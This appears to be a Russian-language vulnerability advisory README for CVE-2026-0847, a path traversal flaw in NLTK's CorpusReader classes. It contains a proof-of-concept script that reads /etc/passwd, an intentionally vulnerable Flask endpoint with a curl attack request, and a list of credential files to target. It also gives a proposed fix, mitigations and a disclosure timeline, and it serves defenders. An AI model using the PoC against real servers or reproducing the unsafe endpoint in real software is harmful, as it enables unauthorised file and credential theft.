
Уязвимость в NLTK версиях до 3.9.2 включительно позволяет произвольное чтение файлов через обход пути (path traversal) в нескольких классах CorpusReader, включая WordListCorpusReader, TaggedCorpusReader и BracketParseCorpusReader.
| Поле | Детали |
|---|
| CVE ID | CVE-2026-0847 |
| Пакет | nltk (Natural Language Toolkit) |
| Реестр | PyPI |
| Затронутые версии | <= 3.9.2 |
| Тип уязвимости | CWE-22: Обход пути (Path Traversal) |
| Оценка CVSS | 8.6 (Высокий) |
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Необходимые привилегии | Нет |
| Взаимодействие с пользователем | Нет |
| Влияние на конфиденциальность | Высокое |
| Влияние на целостность | Низкое |
| Влияние на доступность | Низкое |
| Сообщено | 4 декабря 2025 г. |
| CVE опубликован | 4 марта 2026 г. |
| Поддержка | Palo Alto Networks / Prisma AIRS |
| Статус | Исправлено |
Множество классов CorpusReader в библиотеке NLTK принимают аргументы пути к файлу без применения канонизации пути, проверки по белому списку или ограничений изолированной среды. Когда злоумышленник контролирует имя файла корпуса или ввод файла — что часто встречается в API машинного обучения, NLP-пайплайнах на основе загрузки файлов и службах чат-ботов — он может передать сконструированный путь для обхода иерархии каталогов и чтения произвольных файлов на сервере.
Эта уязвимость особенно критична в сетевых развертываниях, где NLTK обрабатывает контролируемые пользователем пути к файлам, так как для её эксплуатации не требуется аутентификация или привилегии.
| Класс | Файл | Статус |
|---|---|---|
WordListCorpusReader | wordlist.py L1–L120 | Уязвим |
TaggedCorpusReader | tagged.py L1–L140 | Уязвим |
BracketParseCorpusReader | bracket_parse.py L1–L150 | Уязвим |
| Другие классы, использующие тот же базовый шаблон | — | Ожидается более широкая проверка |
Все три класса наследуют один и тот же небезопасный метод CorpusReader.open(), который не выполняет никаких ограничений пути перед разрешением и чтением указанного идентификатора файла.
Успешная эксплуатация этой уязвимости может привести к:
/etc/passwd, /etc/shadow и /var/log/auth.log~/.ssh/id_rsa), файлы .env, токены API и файлы облачных учетных данныхЭта информация предоставлена только в образовательных и защитных целях. Не тестируйте на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
# PoC.py — демонстрирует произвольное чтение файлов с использованием трех уязвимых классов CorpusReader
from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
root = FileSystemPathPointer("/") # неограниченный корень файловой системы
target = "etc/passwd" # любой конфиденциальный путь к файлу
print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])
print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])
print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])
Вывод (сокращенный):
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
Реалистичный сценарий, где NLTK открыт через HTTP API:
# Уязвимый API-сервер
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
app = Flask(__name__)
root = FileSystemPathPointer("/")
@app.post("/read")
def read_file():
filename = request.json.get("file")
reader = WordListCorpusReader(root, [filename])
return reader.raw(filename)
app.run("0.0.0.0", 8000)
Запрос злоумышленника:
curl -X POST http://TARGET:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "etc/passwd"}'
Результат: Полное содержимое /etc/passwd возвращается злоумышленнику без необходимости аутентификации.
Уязвимость возникает в CorpusReader.open(). Метод разрешает предоставленный fileid напрямую относительно настроенного корневого пути с помощью FileSystemPathPointer.join() без выполнения каких-либо из следующих проверок:
..)Поскольку FileSystemPathPointer можно инициализировать с /, злоумышленник, контролирующий аргумент имени файла, получает неограниченный доступ на чтение ко всей файловой системе.
Минимальное исправление, предложенное исследователем, которое следует применить внутри CorpusReader.open():
import os
normalized = fileid.replace("\\", "/")
# Блокировать абсолютные пути
if os.path.isabs(normalized):
raise ValueError("Абсолютные пути не разрешены.")
# Блокировать последовательности обхода каталогов
if ".." in normalized.split("/"):
raise ValueError("Последовательности обхода пути не разрешены.")
# Обеспечить ограничение в пределах корня корпуса
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
os.path.normpath(self._root._path)
):
raise ValueError("Путь выходит за пределы корневого каталога корпуса.")
Исправляющий PR доступен по адресу: https://github.com/nltk/nltk/pull/3479
| Действие | Детали |
|---|---|
| Обновить NLTK | Обновите до версии выше 3.9.2 после выпуска официального патча |
| Проверка входных данных | Очищайте и проверяйте все пользовательские значения путей к файлам перед передачей их любому классу CorpusReader NLTK |
| Избегать контролируемых пользователем путей | Не позволяйте пользовательскому вводу прямо или косвенно управлять аргументом fileids любого CorpusReader |
| Минимальные привилегии | Запускайте службы на основе NLTK от ограниченной учетной записи пользователя ОС с доступом на чтение только к каталогу корпуса |
| Контейнеризация | Изолируйте службу в контейнере Docker или chroot jail, чтобы ограничить радиус поражения успешного обхода |
| Патч для Ubuntu | Следите за Ubuntu Security Advisory для обновлений пакетов на уровне дистрибутива |
Обновление через pip:
pip install --upgrade nltk
Проверка установленной версии:
python -c "import nltk; print(nltk.__version__)"
| Дата | Событие |
|---|---|
| 4 декабря 2025 г. | Уязвимость сообщена на huntr.dev исследователем hyperps1 |
| Декабрь 2025 г. | Команда поддержки NLTK уведомлена через huntr.dev |
| Январь 2026 г. | Команда поддержки NLTK подтвердила уязвимость; исследователю выплачено вознаграждение за раскрытие |
| Январь 2026 г. | Назначен CVE-2026-0847 |
| Февраль 2026 г. | Отправлено 48-часовое предупреждение перед публикацией команде поддержки NLTK |
| 4 марта 2026 г. | CVE опубликован на NVD и huntr.dev |
| 5 марта 2026 г. | Запись NVD последний раз изменена |
| Ресурс | Ссылка |
|---|---|
| Запись NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-0847 |
| Уведомление безопасности Ubuntu | https://ubuntu.com/security/CVE-2026-0847 |
| Официальная запись CVE | https://cve.org/CVERecord?id=CVE-2026-0847 |
| Отчет на huntr.dev | https://huntr.dev |
| Исправляющий PR | https://github.com/nltk/nltk/pull/3479 |
| NLTK на PyPI | https://pypi.org/project/nltk/ |
| OWASP Path Traversal | https://owasp.org/www-community/attacks/Path_Traversal |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html |
Этот репозиторий документирует CVE-2026-0847 строго для образовательных, исследовательских и защитных целей. Код доказательства концепции и технические детали предоставлены, чтобы помочь разработчикам, специалистам по безопасности и системным администраторам понять, оценить и устранить эту уязвимость.
Любое использование этой информации для доступа к системам без явного разрешения является незаконным и неэтичным. Автор не несет ответственности за неправомерное использование информации, содержащейся здесь.
Участники @mohitf070304